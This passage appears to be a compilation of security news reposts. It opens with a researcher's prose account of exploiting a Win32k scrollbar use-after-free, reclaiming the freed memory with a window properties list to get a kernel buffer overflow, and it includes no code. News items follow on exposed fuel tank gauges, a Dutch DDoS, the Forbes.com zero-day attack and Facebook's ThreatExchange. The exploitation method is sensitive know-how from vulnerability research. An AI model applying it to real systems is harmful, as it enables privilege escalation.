vulnerability can bypass protective security mechanisms such as application sandboxes. Step by step with the attackers’ progress, Microsoft made extensive efforts to protect the kernel. The reasoning is that even if a vulnerability exists, exploiting it would be difficult, if not impossible. For example, here are just a few of the kernel protection mechanisms that are present in Windows 8.1:Kernel DEP – Ensures that most kernel data regions cannot be executed • Kernel DEP – Ensures that most kernel data regions cannot be executed • KASLR – Randomizes the kernel address-space to avoid figuring out where kernel modules exist • Integrity Level – Limits the ability of an unprivileged application to leak kernel-related information • Mitigation Of Common Attack Vectors – Hardens commonly abused structures (such as the Win32k wnd proc field) • SMEP – Prevents execution control transfers between kernel mode to user-mode • NULL Dereference Protection – Prohibits mapping of the first 64k of data in user-mode Albeit these hardening mechanisms, in the past year we have seen some notable presentations that demonstrated techniques to bypass these protections. The vulnerability which we describe in this entry, is a newly disclosed privilege escalation exploitable vulnerability that too bypasses these protections. The Vulnerability: a hole in the Win32k.sys module This particular vulnerability appears in the GUI component of Microsoft Windows Kernel, namely, the Win32k.sys module. This entry assumes a strong technical understanding of the Win32k.sys module. For detailed information on this module, please refer to Tajei Mandt, Gilad Bakas and Gil Dabah. Zooming into Window Scrollbars The Win32k module manages also the actual windows’ scrollbars. These scrollbars – whether horizontal or vertical – are set for each window. Let’s zoom into these scrollbars: As can be seen in Figure 1, each SBDATA structure defines the information regarding one of the scrollbars. The WSBflags is a bitmask that determines the state of the scrollbars. In order to enable and disable a window scrollbar, the function xxxEnableWndSBArrows is used. Through a single call, this function can alter the state of both scrollbars. It is precisely within this function wherein the vulnerability lies. Deep Diving into xxxEnableWndSBArrows The prototype of xxxEnableWndSBArrows is: • Wnd – A pointer to the relevant window • wSBflags – The scrollbar type (e.g. horizontal or vertical) • wArrows – Specifies whether the scrollbar’s arrows are enabled or disabled and indicates which arrows are enabled or disabled. In order to describe the vulnerability, we’ll take a look at the first part of the xxxEnableWndSBArrows function which can be broken down into 3 logical parts: Part 1 – Allocation of a new scrollbar (if needed) The function starts by checking whether there is already scrollbar information for that window and allocates a new scrollbar information struct, if needed. Technically speaking, the function reads the pSBInfo field (to recall, this field points to the tagSBINFO struct) and tests if the pointer is NULL. If the field is null and the wArrows parameter is not NULL, then a tagSBINFO struct is allocated for the window and the old flags of the scrollbars are set to 0. Otherwise the old flags are copied from the existing window’s scrollbars information. The code can be found in Figure 2. Part 2 – Setting the state of the horizontal scrollbar The flow continues by testing whether the state of horizontal scrollbar should be changed. According to what was set in the wArrows argument, the function enables or disables the arrows (figure 3). Part 3 – Testing the state of the scrollbar arrows The flow continues by checking whether the state of the arrows have changed. Technically speaking, this is done by checking the arrow’s flags (to note, there are a few more flag checks – but those are not interesting for our purpose). If the flags have changed and the window is visible then xxxDrawScrollbar is called. This is precisely the place where things get interesting. When digging into the code, it seems possible that the xxxDrawScrollBar will lead to a user–mode callback (Figure 4). The pivotal function in this call chain is the ClientLoadLibrary. This function performs the callback to the user-mode function __ClientLoadLibrary. Let’s return now to the code of xxxEnableWndSBArrows. Our examination showed that the tagSBINFO pointer is used without any verification after the callback. Ultimately, this could lead to a Use-After-Free (UAF) vulnerability since the function may continue to work with the freed scrollbar information (Figure 5). The Exploitation: manipulating windows properties After the callback, the function xxxEnableWndSBArrows continues and changes the state of the vertical scrollbar. At this stage, the function tries to enable or disable the flags. However, since the struct is already freed, we can use this to either Bitwise OR the first DWORD of the freed buffer with 0xC (if we disable the arrows) or to clear bit 3 and 4 (if we enable the arrows). See figure 6 For simplicity sake, we show how to manipulate 2 bits in order to “rule them all”. However, manipulating only one of them would be enough. The bit manipulation at first didn’t seem enough to result in anything significant, but we decided to keep trying. The most obvious things to try were to either increase the size of some buffer (using the bitwise OR) or decrease some reference counter (using the bitwise AND). After a short search we found an object that met the first requirement. This object is the properties list of a window. The Window Properties List Each window has a properties list. Generally, these properties can be used by the GUI application to store arbitrary values, though also Win32K uses this properties list in order to store internal data. The data structures used to hold the window’s properties can be seen in Figure 7. The first field, cEntries, is the number of entries in the properties array; iFirstFree is the index to the first free cell in the properties array; and props is the array itself. An application can set the window’s properties using the SetProp API. The prototype of the function is as follows: • hWnd – The handle to the window. • lpString – The of the property or an ATOM. • hData – The data to store. Adding properties to a window is performed through the CreateProp function, appearing in the win32k module. As can be seen in figure 8 its allocation algorithm is quite simple. If there is no room for a new property in the list, the function allocates a new properties list with one more entry. The function then proceeds to copy the buffer of the old properties to the new one, frees the old buffer and increases the entries count. There are several important things to note in this code: First, the properties are allocated from the Desktop heap (Uses DesktopAlloc). Also, tagSBINFO is allocated from this heap. This is crucial if we want to use the UAF vulnerability to alter the properties structure. Second, each new entry triggers the reallocation of the buffer. This means that we can easily trigger the reallocation of the buffer when it’s about to reach the size of the tagSBINFO structure. Doing this increases the chances that the buffer will be allocated over the freed tagSBINFO struct. Third, and most importantly, the cEntries field is located in the first DWORD of the struct. This means that we can increase its size (using the bitwise Or). After increasing the size of the properties array we basically achieved a classical buffer-overflow. Proof-of-Concept Video The above research led to the privilege escalation exploitation. We stop here, however, to avoid releasing any sensitive code. Our demo on a 64-bit Windows 10 Technical Preview provides the necessary proof-of-concept: Summary After some work we managed to create a reliable exploit for all versions of Windows – dating back as of Windows XP to Windows 10 preview (With SMEP and protections turned on). We have shown that even a minor bug can be used to gain complete control over any Windows Operating System. Nevertheless, we think that Microsoft efforts to make the its operating system more secure raised the bar significantly and made writing reliable exploits far harder than before. Unfortunately, these measures are not going to keep attackers at bay. We predict that attackers will continue incorporating exploits into their crime kits, making compromise inevitable. Last side note: funny code Examining the code of the xxxEnableWndSBArrows function showed that there are calls to the xxxWindowEvent function. At first glance it seemed that these two functions would be far easier to use as an exploitation stepping stone than the xxxDrawScrollbar function, as detailed above. However, after diving into the code it quickly became clear that the calls to xxxWindowEvent in the Horizontal scrollbar part of the code are actually dead-code (Figure 9). Looking at the code, there are two conditional calls to the function, xxxWindowEvent. These calls are executed only if the old flags of the scrollbar information differ from those of the new flags. However, by the time these conditions appear, the values of the old flags and the new flags are always equal. Hence, the condition for calling xxxWindowEvent is never met. This practically means that this dead-code was there for about 15-years doing absolutely nothing. Source

Hackers – possibly affiliated with Anonymous – have already attacked at least one internet-connected gas (petrol) station pump monitoring system. Evidence of malfeasance, uncovered by Trend Micro, comes three weeks after research about automated tank gauge vulnerabilities from Rapid7, the firm behind Metasploit. Automated tank gauges (ATGs) are used to monitor fuel tank inventory levels, track deliveries, raise alarms that indicate problems with the tank or gauge (such as a fuel spill). The technology can also be used to perform leak tests. ATGs are used by nearly every fuelling station in the United States and tens of thousands of systems internationally. ATGs can typically be programmed and monitored through a built-in serial port, a plug-in serial port, a fax/modem, or a TCP/IP circuit board. In order to facilitate remote monitoring over the internet, ATG serial interfaces are often mapped to an internet-facing port. This opens door to potential trouble, especially since serial interfaces are rarely password protected. Rapid7 estimates that 5,800 ATGs are exposed to the internet without a password. Over 5,300 of these ATGs are located in the US. Put another way, around one in 30 of the 150,000 fuelling stations in the country are exposed to attack, leaving the door open to all sorts of mischief. “An attacker with access to the serial port interface of an ATG may be able to shut down the station by spoofing the reported fuel level, generating false alarms, and locking the monitoring service out of the system,” Rapid7’s HD Moore warns. “Tank gauge malfunctions are considered a serious issue due to the regulatory and safety issues that may apply." But what’s actually happening at the pump? Independent researcher Stephen Hilt and Kyle Wilhoit, a senior threat researcher at Trend Micro, teamed up to investigate whether or not attackers were actively attempting to compromise these internet-facing gas pump monitoring systems. In particular the duo looked at deployments of the Guardian AST Monitoring System, internet-ready kit designed to monitor inventory, pump levels, and assorted values of pumping systems typically found in gas stations. Shodan, the well-known search engine for Internet-connected devices, and popular port-scanning tool Nmap create a ready mechanism for interested parties to hunt for inter-connected petrol pump kit. Hilt and Wilhoit discovered more than 1,515 vulnerable gas pump monitoring devices worldwide, less than a third of the figure logged by HD Moore last month. That would be reason for cautious optimism – except that the duo also uncovered evidence of tampered Guardian AST devices. The US-located system, left wide open on the net, had been hacked, apparently by mischief-makers, referencing one of ragtag hacker group Anonymous’s favourite catch phrases. An attacker had modified one of these pump-monitoring systems in the US. This pump system was found to be internet facing with no implemented security measures. The pump name was changed from “DIESEL” to “WE_ARE_LEGION.” The group Anonymous often uses the slogan “We Are Legion,” which might shed light on possible attributions of this attack. But given the nebulous nature of Anonymous, we can’t necessarily attribute this directly to the group. An outage of these pump monitoring systems, while not catastrophic, could cause serious data loss and supply chain problems. For instance, should a volume value be misrepresented as low, a gasoline truck could be dispatched to investigate low tank values. Empty tank values could also be shown full, resulting in gas stations having no fuel. The insecure gas pump monitoring system issue is part of the wider problem of insecure SCADA (industrial control) devices. “Our investigation shows that the tampering of an internet-facing device resulted in a name change,” a blog post by Trend Micro on the research concludes. “But sooner or later, real world implications will occur, causing possible outages or even worse. Hopefully, with continued attention to these vulnerable systems, the security profile will change. Ideally, we will start seeing secure SCADA systems deployed, with no Internet facing devices. Source

A cyber-attack took down most of the Dutch government's websites on Tuesday, it has been confirmed. The attack, which also took down some private sites, highlighted the vulnerability of public infrastructure. It came as the US beefed up its defences, and followed warnings that sites belonging to the French authorities had been targeted. Dutch MPs demanded that the government ensures state sites were capable of withstanding similar attacks in future. In a statement, the Dutch government confirmed that it had been the victim of a distributed denial of service attack (DDoS), in which servers are flooded with traffic, causing the sites to fail to load. Investigators were looking into the attack "together with the people from the National Centre for Cyber-Security", said Rimbert Kloosterman, an official at the Dutch Government Information Service, which runs the affected websites. In a statement, the government said that the sites had gone down at 10:00 local time (09:00 GMT) on Tuesday and "lasted into the evening". Complex problem Other websites, including GeenStijl.nl, a popular portal that mocks politicians and religions, had been hit by the DDoS, said Mr Kloosterman. Communications provider Telford had also been affected. The complexity and size of the government's many websites had rendered the back-up useless, he added. The problem affected most of the central government's major websites, which provide information to the public and the media, but phones and emergency communication channels remained online. Prolocation, the government website's host, said the attack had been a "complex" problem and that its phone lines had also gone down. "The initial symptoms pointed first to a technical problem, but it then emerged we were facing an attack from the outside," the company said in a statement. 'Greater risk' But one computer security expert doubted that such an attack could have been hard to identify. "If you face a DDoS, you know it," said Delft Technical University cyber-security specialist Christian Doerr. Dave Larson, of Corero Network Security, said: "As enterprises increasingly rely on hosted critical infrastructure or services, they are placing themselves at even greater risk from these devastating cyber-threats - even as an indirect target." He added that DDoS attacks were "increasingly being used as a smokescreen to hide even more malicious activity on the network". Defences On the same day as the Dutch attack, the US government announced the launch of an intelligence unit to coordinate analysis of cyber-threats, modelled on similar efforts to fight terrorism. The Cyber Threat Intelligence Integration Center would fill "gaps" in the country's defences by rapidly pooling and disseminating data on breaches, it said. In January, following attacks by Islamist militants in Paris, in which 17 people were murdered, French authorities said they had "decided to boost... security vigilance" after a series of cyber-attacks directed at French army regiments among others. Source

Talk about determination. Hackers strung together zero-day vulnerabilities in Flash and Internet Explorer and then compromised Forbes.com so that the attacks would compromise financial services and defense contractor employees visiting the site, researchers said. The November breach of Forbes compromised the Thought of the Day page that is displayed briefly upon visiting the site. The page downloaded attack code exploiting a vulnerability in what then was a fully updated version of Adobe Flash. To bypass Address Space Layout Randomization—a mechanism built into Flash and many other applications to make drive-by attacks harder—the Forbes page downloaded a second attack. The latter attack exploited a then-zero-day vulnerability in IE that allowed the Flash exploit to successfully pierce the exploit mitigation defense. From start to finish, the attack took about seven seconds. "In the world of cyber threats, the chained 0-day exploit is a unicorn—the best known attack with chained 0-days was the Stuxnet attack allegedly perpetrated by US and Israeli intelligence agencies against Iran's nuclear enrichment plant at Natanz as part of an operation known as Olympic Games," a blog post detailing the attack explained. "Given the highly trafficked Forbes.com website, the exploit could have been used to infect massive numbers of visitors." Instead, only visitors from US Defense and financial services firms were hacked. Adobe patched the Flash vulnerability, designated as CVE-2014-9163, in early November. Microsoft fixed CVE-2015-0071 on Tuesday. The Forbes.com compromise is believed to have started in late November and lasted for a few days. The incident, which was uncovered by researchers from security firms Invincea and iSIGHT Partners, underscores the ingenuity and determination of today's hackers. Any one of the key ingredients of the hack—the Flash bug, the IE flaw, or the compromise of Forbes.com—wasn't enough to penetrate the defenses of defense contractors or financial services firms. But by stringing them together, the attackers were able to achieve their goals. It also helps explain why even minor software flaws that don't by themselves allow for remote code execution—for instance an escalation of privilege bug or a disclosure flaw—nonetheless pose a significant threat to end users. Source

Facebook is teaming up with other big names on the interwebs to create a security information sharing portal, dubbed ThreatExchange*, which went live on Wednesday. ThreatExchange is billed as a platform that enables security professionals to “share threat information more easily, learn from each other's discoveries, and make their own systems safer”. Facebook said that it’s built in a set of privacy controls so that “participants can help protect any sensitive data by specifying who can see the threat information they contribute.” Threats like malware, spam and phishing typically go after multiple targets. Sharing threat intelligence improves collective defence against the bad guys, who are already collaborating, the argument goes. The US Cyber Intelligence Sharing and Protection Act (CISPA), which allows private companies to share customer information with the NSA and others in the name of cybersecurity, has repeatedly failed to clear legislative hurdles. Under that latest attempt to revive the proposed law, announced by President Obama last month, corporations and government would be obliged to share information about possible computer security vulnerabilities in order to make everyone more secure. The idea sounds like a winner but the problem is that organisations taking part will also pass on customer information to law enforcement, after taking "reasonable" steps to anonymise it. In return, they get threat intelligence from the Feds about the attack landscape. Privacy activists are dead against the idea, partly because experience has shown it’s very difficult to anonymise data in practice, as well as because of more general fears that information sharing represents another way for the NSA to hoover up yet more data into its vast data centre. Groups like the Electronic Frontiers Foundation advocate use of information sharing hubs as an alternative. Facebook’s social network for threat sharing fits into that mould, when viewed from a charitable perspective. On the other hand, Facebook has a long history of shifting its privacy goalposts, at least with information supplied by consumers – and this makes the social network a mite difficult to trust. Head honcho Mark Zuckerberg famously labelled early Facebookers "dumb fucks" for sharing their personal info on his network – which, let’s not forget, exists to allow its customers (i.e. advertisers) to sling better-targeted adverts at consumers. Maybe Facebook is coming at ThreatExchange from a different angle. In fairness, other web 2.0 firms have already been convinced to collaborate with Facebook on ThreatExchange. Early partners for ThreatExchange include Bit.ly, Dropbox, Pinterest, Tumblr, Twitter, and Yahoo. Facebook said that it expect new partners to jump on board as the platform grows. Information sharing has been going on in an ad-hoc basis in certain industries, particularly banking, for many years. Yet sharing e-mail and spreadsheets is too ad-hoc and inconsistent. It’s difficult to verify threats, to standardise formats, and for each company to protect its sensitive data. Commercial options can be expensive and many open standards require additional infrastructure, according to Facebook. Facebook aims to plug the gap in existing approaches with builds on its internal ThreatData system to create a social platform designed for sharing indicators such as bad URLs and domains. Facebook is at pains to emphasise that it's really serious about privacy, at least when it comes to the operation of ThreatExchange. “We are committed to protecting people's privacy, and we built controls into the platform to help people share with only their intended group every time,” Facebook promises. “Participants choose from a defined set of data types that exclude categories of sensitive data, and a number of safeguards help ensure that threat data isn't accidentally shared broadly.” “This approach makes it easier for an organisation that may want to share data that needs to be handled with extra sensitivity—for example, a company might want to share specific information only with another company they know to be experiencing the same attack,” it adds. The social network said that it’s open to refining the structure and implementation of ThreatExchange as the project develops. ® Bootnote * An earlier link to the ThreatExchange website included its HTTPS address. This URL, while valid, appeared at the time of editing to be using an invalid HTTPS certificate. Source